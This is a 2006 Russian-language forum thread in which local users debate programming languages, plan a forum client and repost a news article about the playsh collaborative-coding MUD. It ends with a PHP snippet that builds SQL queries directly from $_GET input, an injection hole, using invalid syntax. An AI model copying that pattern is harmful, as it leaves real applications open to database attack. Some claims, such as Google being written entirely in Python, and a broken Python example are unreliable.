ГЫ. Анонимщик так и не ответил на вопрос, каким из языков занимается. %)
----------
Мож правокация всё это была? Попытка развести как пацана? spiteful.gif
Недаром я погранец. Всюду заговоры вижу. smile.gif

Автор: worldmind 28.2.2006, 15:27

Подозреваю что аноним прав, утверждения фантома о серверной части клиента и своём протоколе говорят о том, что он не совсем понимает, что нужно сделать. А ситуция такова: есть сервер баз данных (mysql) к нему соединяются пользователи под своими именами и паролями, выполняют sql запросы (не сами конечно, а посредством движка форума) нужно написать софтину которая будет выполнять соединение с mysql и запрашивать свежие сообщения из базы данных, а после в человеческом виде позволять просматривать старые и готовить к отправке новые, после одним махом заливать новые в базу.

Автор: Balamut 28.2.2006, 20:33

Цитата(worldmind @ 28.02.2006 - 15:13)
А ситуция такова: есть сервер баз данных (mysql) к нему соединяются пользователи под своими именами и паролями, выполняют sql запросы (не сами конечно, а посредством движка форума) нужно написать софтину которая будет выполнять соединение с mysql и запрашивать свежие сообщения из базы данных,
*

в настоящее время форум вертится на сервере и логинится к sql базе с помощью одной учетной записи. никто из хостеров (находясь в здравом уме) не даст права к управлению базой (для создания логинов для каждого юзера) и не подпишется на создание юзеров для форума. а если всем раздать равные права на select/update/insert/delete в форум тут такое начнется smile.gif.....

Автор: ICEMan 28.2.2006, 21:40

Да, Баламут прав.
Нужно серверную часть писать наподобие скрипта логина форума
а потом через этот же скрипт передача данных

Автор: Balamut 28.2.2006, 22:10

Цитата(ICEMan @ 28.02.2006 - 21:26)
Да, Баламут прав.
Нужно серверную часть писать наподобие скрипта логина форума
а потом через этот же скрипт передача данных
*

да в принципе все написано - см http://chernyahovsk.com/forum/lofiversion/index.php просто парсер написать к этому lofiversion надо и пару полей, добавить квотирование, прочие мелочи.... да только нафиг надо. и так можно пользовать форум. без клиентов всяких....

Автор: Balamut 28.2.2006, 22:21

http://forums.realcoding.net/topic1334.html

Автор: worldmind 1.3.2006, 9:38

Цитата(Balamut @ 28.02.2006 - 23:07)
http://forums.realcoding.net/topic1334.html
*

Почитал начало, боюсь перспектив нет. То что движок одной учётной записью пользуется не знал - можете расстрелять, хоть это и очевидно, когда знаешь. По большому счёту клиент - самая последняя задача, о более насущных смотрите: Сайт и форум куда дальше?

Автор: fantom 1.3.2006, 23:56

ВорлдМинд.
Странный ты парень spiteful.gif....
Неопнятно на каком основании ты решил, что я не знаю, о чём идёт речь????
Я прекрасно в курсе, что форум есть Sql-база и всё висит на запросах. запросы исполняют скрипты, как уже было описано выше.
Всё это уже ОБСУЖДАЛОСЬ, РАССМАТРИВАЛОСЬ, ОЦЕНИВАЛОСЬ, и т.д., и т.п., Чтобы не соврать, Баламут даже предоставил мне паролю для доступа на сервак. но я так им и не воспользовался, благо мозгов у мнея хватает улучшать то, что и так хорошо.
Речь шла именно отом, что Винда декларирует поддержку gzip, но реально её не осуществляет. 90% инфы страницы - шаблон, который можно формировать локально. Посты, на 99% - не меняются, новые сливать и заливать можно быстро и эффективно - "выстрелы". Это ит раффик сэкономит, и время, и нервы, и деньги. И всегда можно будет в оф-лайне посты почитать, поржать, повздыхать и т.д. и т.п.
Вопрос заключается ТОЛЬКО В ОРГАНИЗАЦИИ ПРОЦЕССА.
Положа руку на сердце, я не сильно пинаю здесь кого-либо в этом направлении, но тем не менее - пниаю. Иногда. Если это нужно только мне одному - я пожалуй выпаду ещё месяца на 4. Мне сайт оформлять надо.
Если нет - как тут один таврищ говорит, жду ну хоть позёрское телодвижение.
Дело- только в этом. Я билды кнопочные (и кстати далеко не пустые кнопочки) не зря здесь выкладывал: вопрос стоял - что дальше? Все поскачивали, похмыкали и усё. Поезд встал.
Как думаешь, "мировой мозг", стоит после этого овчинка выделки или нет?

Автор: worldmind 2.3.2006, 15:26

Нет

Автор: Balamut 2.3.2006, 22:06

Цитата(fantom @ 1.03.2006 - 23:42)
Чтобы не соврать, Баламут даже предоставил мне паролю для доступа на сервак. но я так им и не воспользовался, благо мозгов у мнея хватает улучшать то, что и так хорошо.
*

что-то путаешь. от своего серванта я никому паролей не давал и не дам, от черняховск.ком у меня нет и мне их не нужно.

Автор: Schnapz 2.3.2006, 22:20

За клиент уже прилично народу высказалось "за" pray.gif Фантом, билды твои видели, но они ж по большей части нерабочие, а просто как заготовка. Поэтому ничего и не поняли smile.gif Делай на свое усмотрение, главное чтоб народ без проблем мог разобраться куда мышкой тыкать и зачем.

Автор: fantom 2.3.2006, 22:40

Ёхоронный бабай.
Подписи на кнопочках и картинки, при необходимости - это не сложно.
Это важно, только для пользователя. Можно так нарисовать код, что все кнопки на подоконнике, по желанию юзверя, будут строиться.
На счёт пароля - ТОЧНО кто-то высылал в личку. spiteful.gif
Народ БУДЕТ без проблем нажимать кнопки, и красных кнопок там не будет.
Я уже про это говорил - прежде всего нужен товарищ, который ответную часть будет на серванте шкодить.
А так - далеко не уехать.

Автор: Schnapz 2.3.2006, 23:28

Кстати, Дельфи сильно похож по синтаксису и построению программ на Паскаль? Фирма вроде бы одна и та же... Я с одной софтиной дельфятской разбирался в том семестре - кажись похож. А сегодня видел сам Делфи - основное отличие от паскаля состоит в том, что он сделан на основе форм и надо делать всякие кнопочки, окошки и их уже обрабатывать в программе и всяких модулях. Похожее я видел в VBA.

Автор: Brutall 3.3.2006, 18:04

Шнапс, Дельфи - это и есть Паскаль, тока визуальный. Отличия те же, что и у Borland C от Visual C++: появились всякие формочки/менюшки/кнопочки, поянтие "классы" и т.д.

Автор: fantom 3.3.2006, 22:08

Последнее замечание справедливо. Добавлю, имхо, главное отличие.
Если в Паскале программист ожидал пользователя (диктовал ему последовательность действий) то в Visual-версиях - парадигма иная - СОБЫТИЙНАЯ модель. Т.е. пользователь может нажать кнопку по принципу "как моча в голову ударила". Классы, как были в Паскале, так же они и в Делфях остались. (Есть упёртое мнение, что Делфи - это не язык программирования, а среда, но у меня на столе лежит книженция по Делфям, где чёрным по белому написано: "Делфи - язык программирования,....").
Хоть я и сторонник всё больше Visual Basic, за его относительную простоту и прозрачность, но тем не менее признаю его кособочность и ощутимую ограниченность в инструментарии. С другой стороны, Делфи, не смотря на всю своё поддержку частенько реализовывает мытнуй код. Это меняв нём отталкивает.
Как суперская замена Бнйсику -уже многократно-упомянутый Питон. И классы, и события, и исключения - многое из того, чего так зверски не хватало мастдайному Барсику. Плюс, СМЕШНЫЕ по размеру файлы, в отличии от Бейсика, и совсем уж неприличные размеры прог на Делфях.
Опять же - портабельность не последний вопрос. Если Бейсик в этом смысле отдыхает, Делфи со скрипом но под эмулятором среды под Линуксом работает, то Питон без всяких извращений ЛЕГКО работает ПОД ЛЮБОЙ ЮСЬЮ. smile.gif И это не может не радовать. smile.gif

Автор: fantom 4.3.2006, 19:05

Сообщение оф-топовое. Но всё таки сообщу. Мож кому нада. smile.gif
Программа traffic compresor.
http://www.TCompressor.com
Скачивается легко. Требует бесплатной регистрации.
Вот небольшая статистика:
------------------------------------
Всего сохранено даных - 12,05 МБ

-------Не сжатые----Сжатые----Выйгрыш----Степнь сжатия
веб-----13,47---------3,85---------9,63------------71,4%
почта----4,27---------1,97---------2,30------------53,9%
ICQ------0,24---------0,11---------0,13------------52,4%
---------------------------------------
Впечатляет.
ИМХО.

Автор: Schnapz 13.3.2006, 23:32

А Питона этого мона где-нить скачать?

Автор: worldmind 14.3.2006, 11:53

Открытая система, естественно можно скачать, хоть с исходниками python.org python.ru

Автор: fantom 14.3.2006, 20:29

Ответ вполне разумный.
Что более всего приятно - глюков - меньше малого в коде Питона.
Вес - 10 метров. А возможностей - как слона. %)

Автор: MuXaJIbI4 16.3.2006, 17:02

Привет народ.
Я тоже программист.
Пишу в основном на Delphi, HTML, CSS, PHP, MySQL, JavaScript и т.д.
Кому что надо.......может помогу

Автор: ICEMan 16.3.2006, 21:50

А где учился? smile.gif

Автор: fantom 16.3.2006, 22:28

В нашем дурдоме прибыло. smile.gif
Совсем не дурные варианты названы из программирования.
Вчера зовут меняв отдел кадров, типа программа косячит.
Смотрю на моник и вижу с пяток ссылок - свинг, Джава РанТайм, несколько аплетов. Весьма сипатично подобрана цветовая схема.
Стало интересно.
Начинаю ковыряться и понимаю, что прога выполнена на Джаве, в виде клиент-серверного приложения. Думаю, не совру, если скажу, что сервак расположен в Москве. И всё так грамотно разведено и форомлено, что аж удивился - неужели наши программёры начали серьёзные программы делать???
Ну я тамошней тётке об этом вслух и заикнулся. Она посмотрела на меня как на идиота. Оказалось. что эту программу по заказу РЖД написала одна солидная немецкая контора.
Немая сцена. spiteful.gif

Автор: MuXaJIbI4 17.3.2006, 9:40

Цитата(ICEMan @ 16.03.2006 - 22:50)
А где учился? smile.gif
*


учился сначала в 7 школе .... 10-11 класс в 2 ....... потом учился в КГТУ по специальности инженер-программист..... сейчас работаю в рекламном агенстве http://www.remarka.info программистом ....... в основном PHP и MySQL .... ещё вёрсткой приходиться заниматься

Автор: fantom 17.3.2006, 23:16

Хм. Что характерно, учился не во 2-ой большую часть времени. Хотелось бы верить, что не пожалел о переходе. Но как-то сомневаюсь. spiteful.gif
-----------
Что касается MySQL - это весьма гут. Базы данных ворочать, это не конфиги ковырять. spiteful.gif))
Вот только в домашнихъ условиях применить подобные знания не просто.
Надо изобретать. smile.gif

Автор: MuXaJIbI4 20.3.2006, 9:24

на мой взгляд с MySQL и дома можно лугко разобраться.. главное сервак настроить....... а там помеленьку разбираться

Автор: worldmind 20.3.2006, 9:42

Без проблем дома ставил MySQL и консольным клиентов запросы слал на создание таблиц и на выборку - очень увлекательно, жаль ща компа нормального нет

Автор: ICEMan 20.3.2006, 12:35

А локальному Мискулю много от компа и не надо. Ты же не веб-сервант делаешь smile.gif

В настоящее время у меня дома стоит вот такая вот система:
Сервисы: Apache2 + PHP5 + MySQL 3.23
Соответственно, ПО: Apache Monitor + PHP Expert Editor + MySQL Control Center
И кто бы что ни говорил, что ПХП5 и Апач2 биологически несовместимы, у меня всё работает без сбоев. ok.gif

Автор: fantom 20.3.2006, 19:09

Не знаю, не знаю. Апач2 юзал, Мюсклю юзал, пхп (курсы президентской академии) - тожа юзал.
И в конечном итоге Python со своими производными победил.Кстати буквально вчера было сообщение на лента.ру о том, чт овпервые создана игра ДЛЯ ПРОГРАММИСТОВ. Сейчас в виртуальном городе существует около 15 тысяч кабинетов. Реально пишутся модули к ядру и динамически исполяются.

Автор: ICEMan 20.3.2006, 23:44

А можна поподробнее?

Автор: fantom 21.3.2006, 20:31

Да нет проблем. Привожу перепечатку, для подтверждения того, что Python - RULEZzzzzz......!
--------------------------------------
Программирование наперегонки

Британский программист создал игру для отладки кода
В начале марта 2006 года в программистском сообществе произошла тихая революция. Ее совершил британский программист Мэтт Уэбб (Matt Webb), который при помощи своей программы playsh (Playful Shell), написанной на популярном языке Python, впервые создал игровую вселенную, предназначенную для проведения сеансов совместного программирования. Когда же о программе написали сайты Slashdot и Wired, тихая революция превратилась в громкую.

До начала описываемой истории Мэтт Уэбб был известен в основном в двух ипостасях – в качестве партнера консалтинговой компании Schulze & Webb Ltd и в качестве соавтора книги Mind Hacks, где в популярной форме рассказывается о принципах работы человеческого мозга.

Для того чтобы разобраться, что придумал Мэтт, нам надо немного окунуться в историю вопроса.

Вы стоите на дороге...
В семидесятых годах прошлого века, когда вычислительные мощности стоили дорого, программисты в университетах США и Европы использовали ночное машинное время для многопользовательских текстовых игр. Этот вид развлечений получил название MUD (Multi User Dungeon, "многопользовательские подземелья") и оказался чрезвычайно популярен.

Десятки программистов и лаборантов собирались в группы, которые шли походом на драконов, орков, кобольдов и гоблинов, или блуждали по подземным лабиринтам. В однопользовательском варианте это выглядело примерно так:

«Вы стоите на дороге перед небольшим кирпичным зданием.
> войти в здание
Вы находитесь в здании. Перед вами лежит рюкзак. Выходы: юг.
> взять рюкзак
Взят.
> юг
Вы стоите на дороге перед небольшим кирпичным зданием».

Со временем значительная часть таких игр получила графические оболочки. Некоторые обзавелись трехмерной графикой и звуковыми эффектами, а игроки могли побывать не в сотнях, а в тысячах и десятках тысяч мест. Однако архитектурно все эти программы были фактически обычными коммуникаторами, которые позволяют игрокам обмениваться сообщениями, блуждая по «комнатам» и подбирая лежащие в них предметы.

Войти в здание

Университетские программисты использовали MUD для развлечения. Новизна идеи британца Мэтта Уэбба заключалась в том, чтобы использовать текстовые игры для работы.

Уэбб работал программистом, а это занятие предполагает многочасовое бдение с целью структурировать и модернизировать некий текст. Интересно и то, что программы обычно можно разделить на отдельные части – модули, процедуры, функции, циклы. Внутри этих частей находятся переменные, вызовы других функций и выходы из программы.

Вполне вероятно, что однажды Уэбб увидел в этом своеобразный фэнтези-мир, в котором роль комнат играют функции, а роль предметов – переменные. В таких комнатах на стенах будут висеть константы, в полу будут зиять бездонные дырки-выходы, а вместо дверей будут вызовы других функций.

Так или иначе, на свет появилась playsh, позволяющая воспринимать пишущуюся программу как лабиринт. Игрок ходит из комнаты в комнату, создавая новые выходы, закрывая старые, перемещая предметы и обсуждая все это с другими игроками.

Потенциал этой простой идеи оказался чрезвычайно велик. Во-первых, к процессу программирования может присоединиться сколько угодно участников. При этом, зайдя в какую-либо комнату, игрок видит, что именно его коллега меняет в коде.

Во-вторых, playsh не требует долгого освоения. Для большинства программистов интерфейс MUD не является чем-то незнакомым. Более того, этот интерфейс не требует отрывать руки от клавиатуры и максимально приближен к естественному языку, так как все действия производятся при помощи обычных глаголов.

В-третьих, playsh позволяет проводить обучение программистов прямо «на поле боя», выгодно отличаясь от традиционных методов тем, что ученики постоянно работают с текстом программы, не отвлекаясь на то, чтобы превратить схемы и диаграммы в реальный код.

Убить ошибку

Похоже, пока филологи рассуждали о тексте как лабиринте, программисты создали такой лабиринт. Мир в представлении playsh схож с нашим – вы можете идти на север, запад, юг, восток. Предметы, с которыми вы работаете, имеют свою структуру и свойства.

За основу для перемещений и работы с объектами в playsh был взят стоящий особняком среди MUD проект LambdaMOO. В «лямбде» нет фантастического мира как такового – скорее она представляет собой набор комнат, где встречаются игроки, пришедшие просто пообщаться. Социальная направленность LambdaMOO и является тем стержнем, на котором держится весь проект, состоящий из более чем 15 тысяч комнат.

Создаваемая playsh-вселенная полностью динамична – по утверждению автора, игрок А может наблюдать за тем, как игрок Б меняет одну из функций препарируемой программы и тут же использовать эту функцию.

Кроме того, программа позволяет то, о чем и не мечтали вышеупомянутые филологи – управлять компьютером игрока из виртуального мира. Таким образом, созданный ради удобства представления текстовый лабиринт становится мощным средством управления реальным миром.

Но самое интересное даже не в этом. По словам Мэтта Уэбба, каждый игрок может видеть мир по-своему благодаря набору "актуализаторов". Это неуклюжее слово означает очень простую вещь – к примеру, один программист может видеть только двери, а другой – только окна в комнатах. Таким образом, они смогут настроить систему под себя и не будут мешать друг другу в процессе блуждания по свежесозданному подземелью. Естественно, что и набор действий с объектами у них будет различным.

Открыть браузер
Мэтт говорит, что на этом концепция playsh себя не исчерпывает. По его словам, ничто не мешает заставить эту программу работать с веб, связывая при помощи уже знакомого нам лабиринта различные источники данных.

В своем блоге он пишет, что, например, rss-поток можно представить в виде комнаты со множеством дверей. При этом заголовки новостей будут написаны на дверных табличках. Можно пойти и дальше – например, программа телепередач будет оформлена в виде телевизора. Все это легко оформляется в виде веб-страницы.

Уэбб также уточняет, что нет никаких препятствий к тому, чтобы использовать этот интерфейс, например, для передвижения по страницам своего электронного календаря.

Особую гибкость playsh придает реализованная идея определяемых пользователями глаголов. Предполагается, что каждый пользователь выберет те, которые ему понравятся, и сможет создать собственный мирок с любимыми источниками информации.

Just for fun
Не стоит думать, что это первая попытка превратить программирование в развлечение. Например, книга Линуса Торвальдса, отца ядра операционной системы Linux, так и называлась – Just for fun ("По приколу").

Программисты вообще часто занимаются тем, что придумывают различного рода лингвистические забавы. Достаточно, например, упомянуть о существовании понятия literate programming, которое подразумевает написание программы таким образом, чтобы ее исходный текст можно было читать как литературное произведение. Есть и противоположное течение – на сайте ioccc.org уже не первый год проводится конкурс на написание самой непонятной программы. Если же говорить об играх, то для понимания духа вольного программистского сообщества достаточно упомянуть Progress Quest – программу, которая проходит ролевую игру за пользователя.

Если же говорить серьезно, то модная среди интернет-программистов концепция Semantic web подразумевает создание некоторого языка, который могли бы читать как машины, так и пользователи. Таким образом, закладывается почва для создания социально-ориентированных систем, стимулирующих пользователей к добавлению новых возможностей.

Playsh в перспективе и является той программой, которая не только может оформить информационные потоки в понятной пользователю форме, но и воспринимать язык, достаточно близкий к естественному.

Ближе всех к playsh в этом плане подошел сайт YubNub, который создатели позиционируют как "командную строку для веба". Любой желающий может создать свою команду для YubNub, чтобы облегчить себе блуждание по интернету.

Например, чтобы найти фотографии кошек, достаточно написать "gim cat", чтобы открылось окно Google Images с результатами поиска по запросу "cat". Playsh – это просто следующий шаг, позволяющий оформить каждую команду в виде отдельной программы на Python, который активно используют веб-разработчики, и получить результаты в заданной пользователем форме.

К сожалению, пока playsh еще очень сырой продукт. Кроме того, по словам автора, его использование небезопасно, так как программа позволяет кому угодно подключиться к вашему сеансу.

Похоже, в лабиринте Мэтта скоро заведутся монстры.
Александр Амзин
Ссылки по теме
Программирование превратили в многопользовательскую игру - Lenta.ru, 16.03.2006
Сайты по теме
playsh
yubnub
Python
Progress Quest
Mind Hacks

Автор: ICEMan 21.3.2006, 22:56

Да, нет ни одного нормального программиста (даже сейчас), который не был бы знаком с понятием MUD smile.gif

Автор: fantom 22.3.2006, 18:29

Хм. АйсМАнн!
Ты не понял главной мысли!
playsh открыл новую эпоху в мире программирования!!!
То что используется стиль MUD - это только начало.
Python позволяет сверху навесить 3D-интерфейс без особых напрягов. "30 фрейм пер секонд" будет обеспечено даже на не мощных машинах. Вот оно, грядущее VR!!!!!

Автор: ICEMan 22.3.2006, 21:02

Сомневаюсь, что это может говорить о зарождении виртуальной реальности.
Хотя... время покажет.
Насчет питона могу сказать только одно: Если проект будет развиваться, разработчики откажутся от Питона такого, каким он есть сейчас.
Для таких глобальных целей нужен динамичный, способный быстро меняться как в лексике, так и в принципах действия язык программирования.
Так что вполне разумно ожидать выхода навого языка программирования - полусреды, который будет разработан на базе нескольких языков (Скорее всего Си, Дэльфи, Перл(ПХП), Питон) и будет вбирать только лучшее из каждого из них.
ИМХО.

Слегка подумав, дописывает:

А я пойду, пожалуй, в любимый MUD пока зайду. Давненько я там не был...

Автор: fantom 22.3.2006, 23:05

Я сомневаюсь, что Си, или его родственнечик С++, способен хоть как то составить хорошую конкуренцию.
Современная технология программостроения идёт в область разрешения НАТУРАЛЬНОГО языка. Способность максимально приближенно к миру описывать процессы, свойства, события и взаимосвязи. У вышеназванных языков сильный СТИЛИСТИЧЕСКИЙ аппарат, но никак не программисткий, ИМХО.
Для динамки, подвижности, замены, отладки, оперативной замены и выполнения - Python, как раз - ОЧЕНЬ подходит для этих целей.
Стоило ли Гуидо ван Россуму создавать ещё один клон Делфей?
Мужик весьма силён в таких вопросах. ПО крайней мере за 12 лет открытого существования языка - его внедрили в производство ВСЕ серьёзные фирмы, как IBM, Intel, Sun, так и кто бы поверил - MicroSoft!!!!!! IronPython зовётся их корявое детище, работает под окружением .NET . Я думаю, Билл не стал бы заморачиваться на каких то там шнурков кожанных, если бы не видел в ЭТОМ возможности подзаработать бабла. smile.gif

Автор: Balamut 22.3.2006, 23:13

любой си-программер не знает для чего нужно было придумывать остальные языки программирования.

Автор: ICEMan 22.3.2006, 23:34

Я Си-программер, и чо?
Прекрасно понимаю для чего были созданы другие языки, просто они не лежат в плоскости поих действий.
Сейчас вапще на ПХП пишу, кстати...

Автор: fantom 23.3.2006, 0:06

Чё, чё.
Сила гигагерцев и гигабайтов, по сути, сняла вопрос о быстродействии и по ставила вопрос о скорости разработки.
Об максимально эффективном соотношении код/качество.
Это как раз то, чего не хватает Си. Более того, ссыласясь на справочник по трудозатратам по языкам программирования:
1. Ассемблер - 320
2. Ада - 240
3. Си - 180
4. Вжик Си++(МастДай) - 145
5. Вжик Барсик(МастДай) - 125
6. ПХП - 86
7. Руби - 44
8. Питон - 32
Вот и ответ на вопрос почему Си в пролёте.
А если надо, средствами того же Python - можно и компилятор нарисовать.
Собственно, такой проект есть - перевод скриптов в исполняемые модули.

Автор: ICEMan 23.3.2006, 0:50

Ну и флаг в руки.

Немного подумав, добавляет:
Только здесь статистика по тредозатратам...
А можно привести сравнительную характеристику по "мощности" языка т.е. по его возможностям

З.Ы. Нет Дельфей и Си# кста

Автор: mihalich 25.3.2006, 19:43

Цитата(fantom @ 22.03.2006 - 18:29)
Хм. АйсМАнн!
Ты не понял главной мысли!
playsh открыл новую эпоху в мире программирования!!!
То что используется стиль MUD - это только начало.
Python позволяет сверху навесить 3D-интерфейс без особых напрягов. "30 фрейм пер секонд" будет обеспечено даже на не мощных машинах. Вот оно, грядущее VR!!!!!
*


Да уж... уже сейчас имеем С# - язык домохозяек umnik.gif, а переход с С/С++ на С# напоминает переход из школы в детский сад. А если зделают программирование в стиле игры, то это будет финиш shok.gif

Автор: ICEMan 25.3.2006, 23:49

Между прочим Си# - не такой уж и колхоз... довольно мощный язык, но немного сложный (лично для меня) в понимании....

Автор: fantom 26.3.2006, 13:18

Си"Шарп" - я и за язык то не считаю.
Явная передалка Джавы на мастдайный манер.
По краней мер в игру "Найди 10 отличий" я с удовольствием/возмущением проиграл. smile.gif
Что касается мощности языка - на Python никак не не проигрывает, напримре Дельфям. В дистрибутив в 10 метров влазит и графика, и интернет, и базы данных, и мультимедиа, и многопоточные веб-приложения. ИМХО, Python делает Delphi процентов на 30%. Положа руку на сердце - я не ас в Delphi? далее чем клиент-клиент прикладнухи с перкачкой иоконок каждую секунду по таймеру - днло не пошло. smile.gif)) Но зато у меня есть фолиант по Делфям 7, страниц так на 1200.
Что касается понимания, это, ИМХО, архиважнейший из наиважнейших параметров. Толку от мощи ассемблера, если к 20-му килобайту текста (без мощных инструментов и соотвествующей сноровки) уже сам непонимаешь о чём речь идёт. %)
Питон в этом смысле, даёт фору Си++ (и уж тем более Си) - раза 4. Как впрочем и указано в книге по разработке больших проектов.
--------------
Привожу полную и точную таблицу.
Орлов. "Технологии разработки программного обеспечения" 2-е издание, 2003 год, стр. 46.
Ассемблер - 320
Си - 128
Кобол - 106
Фортран - 106
Паскаль - 90
С++ - 64
LISP -64
Prolog - 64
Java - 53
Ada 95 - 49
Miranda - 40
Haskel - 38
Visual C++ - 34
Visual Basic - 32
Delphi Pascal - 29
SmalTalk - 22
Perl - 21
HTML3 - 15
---------------
Моё личное ИМХО:
С# - 30...32
Python -19...20

Автор: ICEMan 26.3.2006, 15:17

Хыыы
Повезло мне, походу, ибо работаю сейчас с Перлом и ХТМЛом smile.gif
А я и не подозревал насколько я должен быть счастлив smile.gif

Автор: Brutall 26.3.2006, 15:44

А что такое HTML3?

Автор: fantom 26.3.2006, 18:00

Перла - один из самых мощных извратов. Традиционно считается он наиболее подходит для обработки регулярных выражений. Питон, в первых своих инкарнациях не пытался оторвать лавры Перла, но на момент сейчас - в 1,5 раза таки делает Перлу - спасибо компилированному ядру. Но это несущественно. Существенно то, что Перл ИЗВРАТНО поддерживает классы. А Питон - имеет встроенную поддержку, как классов, так и пакетов. Причём классы имеют специальные методы - __init__, __del__, __add__, __mod__ и т. д.
Так что, ты должен быть счастлив.
Что касается ХТМЛ3 - Бруталл, ты шутишь наверно???
Это стандарт на ХТМЛ установленный консорциумом WWW. Один из его вариантов.

Автор: ICEMan 26.3.2006, 19:35

А что насчет PHP?
И классы нормально обрабатываются, и методы в поряде... и вапще...
Интересно какие требования у Питона к жлезу и ПО на серваке.
Каковы нагрузки на сервак при одноврменном подключении сотни-другой пользователей....
Со скриптами cgi и формируемыми страницами HTML всё ясно. Всё это счастье прикручивается к вэб-серваку двумя строчками кода.
С PHP, как модулем срвера, траблов немного больше. Хотя если руки из правильных мест растут, тоже прикручиватся бз проблем. Стабильность работы такой связки проврена временем.
А что можт прдложить Питон обычному среднестатистическому программеру и, как частный случай, web-разработчику.

Автор: worldmind 27.3.2006, 8:34

Перл не чморите, тексты обрабатывать перлом с регулярными выражениями одно удовольствие - практически божественная власть над информацией

Автор: Balamut 27.3.2006, 9:42

Цитата(ICEMan @ 22.03.2006 - 23:34)
Я Си-программер, и чо?
Прекрасно понимаю для чего были созданы другие языки, просто они не лежат в плоскости поих действий.
Сейчас вапще на ПХП пишу, кстати...
*

я как-то ради прикола накатал на сях и скомпилировал web-приложеньце. очень шустро вертелось.

Автор: ICEMan 27.3.2006, 10:31

Да, кстати...
Balamut прав. Приложения на Си довольно шустрые. А рабочих приложений Питона я что-то ни разу не встречал... Или я даун, или на нем ничего серьезного не писалось.

Кроме того, фантом...
Скажи мне как обстоят дела у Питона с разработкой крупных проектов? Не всяких там калькуляторов и "Hello, world!", а реально полноценных программных продуктов.
Как реализуется поддержка классов и обработка ризличного рода процедур?
Всё это делатся через мозг или через Ж..?
Пока вопросов больше нет.

З.Ы. Мануалы и толстые талмуды о замечательности языка читать впадлу. Проверять же опытным путём - просто лень. Потому и интересуюсь у тебя.
Собсна говоря, передо мной в скором будущем встанет кирпичной стеной небольшой проект, который, возможно, придёцца реальзовывать силами PHP, что в перспективе - боооольшой геморрой. Вот я и ищу альтернативу.
У меня пока всё.

Автор: fantom 31.3.2006, 20:47

Не чморите ПЕРЛ - это прямо истерический крик какой-то. %)
Я не против Перла. Я против программёров у которых элементарное чувство прекрасного железобетонно заменено многочисленными нулями в глазах. smile.gif)) Думаю, намёк ясен.
Любое компилированное приложение - это 4...50 интерпретаторов по скорости.
Хоть на чём пиши (Вжик Бейски не в счёт, как я вся типа платформа .NET)
И если крут в Си - тру и респект. НО когда вопрос касается оперативной разработки о бокатки - вот тут игрушечные языки - полный вперёд!
На вопрос "какие крутые проги есть на Питоне" могу привести пару примеров: под Линуксом известна прога mailman - поддерживает массовые рассылки подписных листов, аудит и управление - мало не покажется. Также под Линуксом есть несколько карточных игр написанных на Питон, типа солитёр.
Есть интерактивная игра 3D-шуттер также написанный на Питоне, и предназначенный для одновременной игры в интернете (ответ на вопрос как быстро).
Также под различными платформами есть масса приложений для администрирования, архивирования, оповещения, сканирования на предмет искажения вирусами. У меня на сайте есть ссылка на сайт parnassus - там более 3 тысяч программ на Питоне во всех областях применения компьютеров - от текстовых редакторов, до плагинов к графическому пакету Майя. Пакет ОупенОфис содержит в себе интегрированный дистрибутив Питона для выполнения множества макросов, кои на себя берут до 30% нагрузки этого пакета.
Главный гвоздь, убеждающий меня в правильности Питона - Гугл. Движок этой поисковой системы (да и сервисы тоже) - ПОЛНОСТЬЮ сделаны на Питоне.
Когда решался вопрос о том какой язык выбрать, выбор пал в пользу Питона, так как он поддерживает распределённые вычисления стандартными средствами, а количество ошибок в нём значительно меньше, по сравнению с другими аналогами.
Те мануалы, которые я мог бы предложить - исключительно на аглицком буржуйском, поэтому не буду.
Что касается именно классов и процедур (объектно-ориентированного подхода и функционального программирования), ИМХО, процедуры - реализованы с исчерпывающим извратом. Классы - в лучших традициях С++, но гораздо прозрачнее, читабельнее, и до смешного просто.
Вот тебе примерчик с классом, типа хелло, ворлд.
-------------------
class Hello():
def Hi(self, Name='Wasja'):
print 'Hello, '+Name

a=Hello(Name='IceMann')
a.Hi
----------------------------
Для заметки - ключевой параметр SELF в Питоне имеет тот же смысл, что и в С++ this.Но Питон более открыт и не имеет шаманского кода. Для обращения экземпляра объекта к своим методам, в теле класса явно указывается что метод принадлежит к классу.
Если класс следует использовать многократно, то его можно вынести в отдельный файл и импортировать примерно так:
-----------
from MyClass import Hello
-------------
После этого класс можно юзать спокойно. Вообще мне известно по крайней мере о 5 варинатах импортирования переменных, процедур, классов, модулей и пакетов.

Автор: ICEMan 1.4.2006, 0:07

То есть ты признаешь что для крупного, многообещающего проекта предпочтительнее Си, нежели Питон spiteful.gif
Согласен, на "игрушечных" языках можно реализовать средней руки проекты типа Гугла, не привлекая все возможности работы с классами и процедурами таких гигантов как Си или той же платформы .NET.
Кстати, про .NET...
Вполне мощный и перспективный продукт. Но. Как всегда есть одно НО.
Он слишком громоздкий.

И вообще.
Каждый язык программирования занимает свою нишу в разработке различного рода программных продуктов.
Другой вопрос, каким языком будет пользоваться бородатый дядька-программер в той или иной ситуации.

ИМХО, хороший программист не только тот, кто знает несколько языков...
Хороший программист - это человек, который выберет под свой проект оптимально подходящий язык программирования и сможет через него максимально реализовать все полученые им знания.
Может быть сказал немножко криво... вы уж извините... последние пару месяцев сплю по часу-два в сутки cray.gif

Автор: worldmind 3.4.2006, 8:25

На питоне настрочен векторный редактор инскейп

Автор: ICEMan 3.4.2006, 8:43

Интересно, именно поэтому он не получил широкого распространения? smile.gif

Автор: worldmind 3.4.2006, 9:28

Не поэтому, просто проект открытый, дорабатывают

Автор: ICEMan 3.4.2006, 9:39

GNU GPL?

Автор: worldmind 3.4.2006, 9:51

УГУ см.
http://www.inkscape.org/

Автор: ICEMan 3.4.2006, 10:03

Продукт сыроват...
До Корела ему, конечно, как до Магадана в тапочках...
Хотя... Если над ним работают грамотные кодеры, может и получится что-то стоящее.
Ты сам им пользовался?

Автор: ICEMan 7.4.2006, 14:19

Значиццо, у меня трабл.
Есть, допустим, следующий код:

Код
if (isset($_GET["ready"])==True){

 $query1 = "INSERT INTO troubles SET complete='4' WHERE idn='".$_GET["ready"]."'";
 mysql_query($query1,$db);

 $query2 = "SELECT * FROM troubles WHERE idn='".$_GET["ready"]."'";
 $data=mysql_fetch_assoc(mysql_query($query2,$db));
 $tshootdate = date("d.m.Y");
 $tshoottime = date("H:i:s");
